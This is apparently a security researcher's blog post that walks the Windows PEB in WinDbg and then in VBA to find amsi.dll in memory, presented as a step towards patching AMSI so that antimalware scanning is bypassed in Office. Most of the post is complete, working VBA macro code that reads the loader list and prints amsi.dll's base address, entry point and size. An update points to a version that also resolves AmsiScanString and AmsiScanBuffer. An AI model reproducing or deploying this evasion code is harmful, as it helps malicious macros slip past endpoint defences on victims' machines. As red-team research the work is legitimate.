A few months back I wrote a post about some work my colleague and I did about patching AMSI with VBA.
Whilst AMSI bypasses aren’t new, we put a little twist on it by dynamically calculating the address in memory which needed patching, at that point, I also hadn’t seen a working example in VBA.
Most bypasses, in order to get the address space of amsi.dll use a combination of LoadLibrary() and GetProcAddress() to find a location or relative location to patch.
The aim of this post is to demonstrate in VBA how we can derive this information by walking the PEB. I’ve not currently seen a working example in VBA of how to do this, however if there is one I’m sure someone will point it out to me quickly… references welcome 🙂
In order to look at the PEB we’ll use WinDbg which can be downloaded from the following URL
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools
Here’s a reference to the PE file format http://www.openrce.org/reference_library/files/reference/PE%20Format.pdf
To look at the PEB for a process we start by attaching the debugger
From here we can type !peb
The above image shows us the PEB address, the Ldr address and the Ldr.InLoadOrderModuleList.
What we’re most interested in here is Ldr.InLoadOrderModuleList as the two addresses at the end of the line indicate the location of the first and last dlls which were loaded.
If we use the command dt _PEB 007d2000 we see the layout of the PEB and the addresses relative to the PEB address.
Ldr is at 007D2000+0C
If we then look at the LDR data using dt _PEB_LDR_DATA 0x774FDCA0 we can see the InLoadOrderModuleList (start/end) which is at relative +0C to the LDR data address and the end is at relative +10
If we look at the table entry using dt _LDR_DATA_TABLE_ENTRY 0x951F38 we can see that this is the dll in our list of dlls.
If we click on the Hyperlink BaseDllName we get to see the details about the buffer in which this data is held.
So basically if we can get the peb address from the current process we can read the information we want using the relative addresses.
The LDR is PEB+0C
First Entry is LDR+0C
Last Entry is LDR+10
Next Entry is the first 4 bytes of the Current Entry
Address of BaseDllName Buffer is Current Entry+2C+04
The process of finding amsi.dll could be read in the ldr and get the first entry and last entry addresses. We can cycle these addresses, the next address is the first 4 bytes of the current address, we stop cycling once the current address is the same as the last address.
When we read each entry we can get the BaseDllName and read the buffer to get the name of the current dll, if it’s amsi.dll, jackpot we get the DllBase, EntryPoint and SizeOfImage and then finish cycling.
Information about NtQueryInformationProcess can be found here
https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess#return-value
Here’s my code to do it, based on x32 Office, any issues let me know.
' from https://codes-sources.commentcamarche.net/source/42365-affinite-des-processus-et-des-threads
Private Type PROCESS_BASIC_INFORMATION
ExitStatus As Long
PEBBaseAddress As Long
AffinityMask As Long
BasePriority As Long
UniqueProcessId As Long
ParentProcessId As Long
End Type
Private Declare Function NtQueryInformationProcess Lib "ntdll.dll" ( _
ByVal processHandle As LongPtr, _
ByVal processInformationClass As Long, _
ByRef processInformation As PROCESS_BASIC_INFORMATION, _
ByVal processInformationLength As Long, _
ByRef returnLength As Long _
) As Integer
' From https://foren.activevb.de/archiv/vb-net/thread-76040/beitrag-76164/ReadProcessMemory-fuer-GetComma/
Private Type PEB
Reserved1(1) As Byte
BeingDebugged As Byte
Reserved2 As Byte
Reserved3(1) As Long
Ldr As Long
ProcessParameters As Long
Reserved4(103) As Byte
Reserved5(51) As Long
PostProcessInitRoutine As Long
Reserved6(127) As Byte
Reserved7 As Long
SessionId As Long
End Type
Private Declare Function ReadProcessMemory Lib "kernel32.dll" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As LongPtr, _
ByVal lpBuffer As LongPtr, _
ByVal nSize As Long, _
ByRef lpNumberOfBytesRead As Long _
) As Boolean
Sub Main()
Dim size As Long
Dim PEB As PEB
Dim pbi As PROCESS_BASIC_INFORMATION
Dim ReadBytes As LongPtr
Dim PEBLdrAddress As Long
Dim InLoadOrderLinksStart As String
Dim InLoadOrderLinksEnd As String
Dim DLLNameBytes As String
result = NtQueryInformationProcess(-1, 0, pbi, Len(pbi), size)
'Read the initial peb structure for the current process
success = ReadProcessMemory(-1, pbi.PEBBaseAddress, VarPtr(PEB), Len(PEB), size)
'PEB LDR
'Debug.Print Hex(PEB.Ldr)
PEBLdrAddress = PEB.Ldr
'Get the start and end addresses for the InLoadOrderModuleList
'+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x1261ed0 - 0x18d18f68 ]
'PEBLdrAddress+0C
success = ReadProcessMemory(-1, ByVal (PEBLdrAddress + 12), VarPtr(ReadBytes), Len(ReadBytes), size)
InLoadOrderLinksStart = ReadBytes
'Debug.Print "Start=" & Hex(InLoadOrderLinksStart)
'PEBLdrAddress+10
success = ReadProcessMemory(-1, ByVal (PEBLdrAddress + 16), VarPtr(ReadBytes), Len(ReadBytes), size)
InLoadOrderLinksEnd = ReadBytes
'Debug.Print "End=" & Hex(InLoadOrderLinksEnd)
'Each list entry points to the next entry so cycle through them
'Until the list_entry value is equal to the last entry value which
'we already have
'+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x1261e20 - 0x774fdcac ]
dllentry = InLoadOrderLinksStart
Do Until dllentry = InLoadOrderLinksEnd
current = dllentry
'Debug.Print "Current=" & Hex(current)
DLLNameBytes = ""
success = ReadProcessMemory(-1, ByVal (dllentry), VarPtr(ReadBytes), Len(ReadBytes), size)
dllentry = ReadBytes
'Debug.Print "Next Item=" & Hex(dllentry)
'Get the buffer address for the DLL name current+2c+04 - decimal 48
success = ReadProcessMemory(-1, ByVal (current + 48), VarPtr(ReadBytes), Len(ReadBytes), size)
DllNameBuffer = ReadBytes
'Debug.Print Hex(DllNameBuffer)
'Start Reading the buffer
'Remove 00 as string is stored in unicode and fix endian
'First Batch
success = ReadProcessMemory(-1, ByVal (DllNameBuffer), VarPtr(ReadBytes), Len(ReadBytes), size)
firstbytes = Hex(ReadBytes)
'Debug.Print Hex(ReadBytes)
firstbytes = Replace(firstbytes, "00", "")
If Len(firstbytes) = 4 Then
b1 = Mid(firstbytes, 1, 2)
b2 = Mid(firstbytes, 3, 2)
firstbytes = b2 & b1
End If
'Second Batch
success = ReadProcessMemory(-1, ByVal (DllNameBuffer + 4), VarPtr(ReadBytes), Len(ReadBytes), size)
secondbytes = Hex(ReadBytes)
'Debug.Print Hex(ReadBytes)
secondbytes = Replace(secondbytes, "00", "")
If Len(secondbytes) = 4 Then
b1 = Mid(secondbytes, 1, 2)
b2 = Mid(secondbytes, 3, 2)
secondbytes = b2 & b1
End If
'Third Batch
success = ReadProcessMemory(-1, ByVal (DllNameBuffer + 8), VarPtr(ReadBytes), Len(ReadBytes), size)
thirdbytes = Hex(ReadBytes)
'Debug.Print Hex(ReadBytes)
thirdbytes = Replace(thirdbytes, "00", "")
If Len(thirdbytes) = 4 Then
b1 = Mid(thirdbytes, 1, 2)
b2 = Mid(thirdbytes, 3, 2)
thirdbytes = b2 & b1
End If
'Fourth Batch
success = ReadProcessMemory(-1, ByVal (DllNameBuffer + 12), VarPtr(ReadBytes), Len(ReadBytes), size)
fourthbytes = Hex(ReadBytes)
'Debug.Print Hex(ReadBytes)
fourthbytes = Replace(fourthbytes, "00", "")
If Len(fourthbytes) = 4 Then
b1 = Mid(fourthbytes, 1, 2)
b2 = Mid(fourthbytes, 3, 2)
fourthbytes = b2 & b1
End If
'Fifth Batch
success = ReadProcessMemory(-1, ByVal (DllNameBuffer + 16), VarPtr(ReadBytes), Len(ReadBytes), size)
fifthbytes = Hex(ReadBytes)
'Debug.Print Hex(ReadBytes)
fifthbytes = Replace(fifthbytes, "00", "")
If Len(fifthbytes) = 4 Then
b1 = Mid(fifthbytes, 1, 2)
b2 = Mid(fifthbytes, 3, 2)
fifthbytes = b2 & b1
End If
'Build String Back together after having rid it of unicode and sorted endians
DLLNameBytes = firstbytes & secondbytes & thirdbytes & fourthbytes & fifthbytes
'Debug.Print DLLNameBytes
'If amsi.dll is found in out dll name string we've got what we want
'Get BaseAddress/EntryPoint/SizeOfImage and then exit loop
If InStr(1, DLLNameBytes, "616D73692E646C6C") Then
Debug.Print "amsi.dll found at: " & Hex(current)
Debug.Print "dt _LDR_DATA_TABLE_ENTRY " & Hex(current)
'+0x018 DllBase : 0x63800000 Void
'+0x01c EntryPoint : 0x63808cd0 Void
'+0x020 SizeOfImage : 0xf000
success = ReadProcessMemory(-1, ByVal (current + 24), VarPtr(ReadBytes), Len(ReadBytes), size)
BaseAddress = Hex(ReadBytes)
Debug.Print "BaseAddress: " & BaseAddress
success = ReadProcessMemory(-1, ByVal (current + 28), VarPtr(ReadBytes), Len(ReadBytes), size)
EntryPoint = Hex(ReadBytes)
Debug.Print "EntryPoint: " & EntryPoint
success = ReadProcessMemory(-1, ByVal (current + 32), VarPtr(ReadBytes), Len(ReadBytes), size)
SizeOfImage = Hex(ReadBytes)
Debug.Print "SizeOfImage: " & SizeOfImage
Exit Do
End If
Loop
End Sub
Running the code in VBA gives the following output in the Immediate Window. Ctrl+G to turn on the Immediate Window.
There you have it, how to get details of amsi.dll from the PEB.
Update:
I’ve updated the above code to get the addresses of the functions for AmsiScanString and AmsiScanBuffer. The code can be found on my GitHub page https://github.com/rmdavy/AmsiPEBWalkVBA